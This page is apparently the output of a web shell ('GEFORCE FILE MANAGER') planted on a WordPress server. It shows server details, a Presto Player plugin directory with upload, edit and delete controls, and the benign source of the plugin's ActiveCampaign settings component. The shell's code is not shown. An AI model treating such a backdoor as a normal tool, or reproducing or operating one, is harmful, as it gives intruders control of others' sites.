[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
admin
/
settings
/
pages
/
parts
/
integration
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 ActiveCampaign.js
2,764 B
SET
[ EDIT ]
|
[ DEL ]
📄 FluentCRM.js
1,992 B
SET
[ EDIT ]
|
[ DEL ]
📄 Mailchimp.js
2,727 B
SET
[ EDIT ]
|
[ DEL ]
📄 MailerLite.js
2,734 B
SET
[ EDIT ]
|
[ DEL ]
📄 withIntegration.js
1,827 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: ActiveCampaign.js
import { __ } from "@wordpress/i18n"; import { BaseControl, PanelRow, Notice } from "@wordpress/components"; import { compose } from "@wordpress/compose"; import Integration from "../../../components/Integration"; import TextControl from "../../../components/TextControl"; import withIntegration from "./withIntegration"; export default compose([ withIntegration({ name: "presto_player_activecampaign" }), ])( ({ success, setSuccess, error, setError, isBusy, makeRequest, setting, updateSetting, }) => { const setData = (props) => { updateSetting({ ...props, }); }; const onConnect = () => { makeRequest({ path: "/presto-player/v1/activecampaign/connect", data: { api_key: setting?.api_key, url: setting?.url }, message: __("Connected", "presto-player"), success: setData, error: setData, }); }; const onDisconnect = async () => { makeRequest({ path: "/presto-player/v1/activecampaign/disconnect", message: __("Disconnected", "presto-player"), success: setData, error: setData, }); }; return ( <Integration title={"ActiveCampaign"} connected={setting?.connected} onConnect={onConnect} onDisconnect={onDisconnect} isBusy={isBusy} > {error && ( <PanelRow> <Notice className="presto-notice" status="error" onRemove={() => setError("")} > {error} </Notice> </PanelRow> )} {success && ( <PanelRow> <Notice className="presto-notice" status="success" onRemove={() => setSuccess("")} > {success} </Notice> </PanelRow> )} <PanelRow> <BaseControl> <TextControl label={__("Your ActiveCampaign Url", "presto-player")} type="url" help={__( "You can find this on your Settings > Developer page.", "presto-player" )} value={setting?.url} onChange={(url) => updateSetting({ url })} /> <TextControl label={__("Your ActiveCampaign API key", "presto-player")} help={__( "You can find this on your Settings > Developer page.", "presto-player" )} value={setting?.api_key} onChange={(api_key) => updateSetting({ api_key })} /> </BaseControl> </PanelRow> </Integration> ); } );